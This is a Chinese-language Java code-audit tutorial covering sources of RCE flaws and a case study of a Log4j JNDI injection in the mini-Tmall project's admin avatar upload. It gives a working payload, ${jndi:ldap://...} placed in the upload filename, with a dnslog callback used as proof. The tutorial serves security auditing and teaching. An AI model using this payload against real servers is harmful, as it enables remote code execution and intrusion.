代码审计-Java项目-组件RCE代码执行漏洞审计

代码审计必备知识点：

1、代码审计开始前准备：

环境搭建使用，工具插件安装使用，掌握各种漏洞原理及利用,代码开发类知识点。

2、代码审计前信息收集：

审计目标的程序名，版本，当前环境(系统,中间件,脚本语言等信息),各种插件等。

3、代码审计挖掘漏洞根本：

可控变量及特定函数，不存在过滤或过滤不严谨可以绕过导致的安全漏洞。

4、代码审计展开计划：

审计项目漏洞原理->审计思路->完整源码->应用框架->验证并利用漏洞。

代码审计两种方法：

功能点或关键字分析可能存在的漏洞

-抓包或搜索关键字找到代码出处及对应文件。

-追踪过滤或接收的数据函数，寻找触发此函数或代码的地方进行触发测试。

-常规或部分MVC模型源码可以采用关键字的搜索挖掘思路。

-框架 MVC 墨香源码一般会采用功能点分析抓包追踪挖掘思路。

1.搜索关键字找敏感函数

2.根据目标功能点判断可能存在的漏洞

JAVA项目——RCE漏洞产生层面

1、服务端直接存在可执行函数（exec()等），且对传入的参数过滤不严格导致RCE漏洞

2、服务端不直接存在可执行函数（exec()等），且对传入的参数过滤不严格导致RCE漏洞

3、由表达式注入导致的RCE漏洞，如：OGNL、SpEL、MVEL、EL、Fel、JST+EL等

4、由java后端模板引擎注入导致的RCE漏洞，如：Freemarker、Velocity、Thymeleaf等

5、由java一些脚本语言引起的RCE漏洞，如：Groovy、JavascriptEngine等

6、由第三方开源组件引起的RCE漏洞，如：Fastjson、Shiro、Xstream、Struts2等

案例：第三方框架-迷你Tmall-Log4j组件-RCE漏洞

1.下载mini-tmall源码，使用idea打开，部署好环境

2.审计java项目，第一步查看pom.xml文件，发现使用了log4j组件。

3.搜索log4j漏洞，发现2.10.0版本存在RCE漏洞。搜索log4j的关键字logger，可以看到项目使用logger.info级别记录日志方式

4.经过审计，发现AccountController.java代码文件中日志记录拼接了变量参数，对代码进行分析。发现触发漏洞点的代码为logger.info("获取图片原始文件名：{}", originalFileName);，向上追踪，发现通过file.getOriginalFilename();获取file的文件名后赋值给originalFileName，在向上追踪，file参数来自admin/uploadAdminHeadImage接口

5.来到网站找到触发漏洞的管理员头像上传处，上传头像进行抓包

6.配合dnslog平台验证漏洞存在。修改数据包中filename参数为：${jndi:ldap://d6l6.dnslog.ink}

7.回到dnslog平台，成功接收到了解析记录，说明漏洞存在。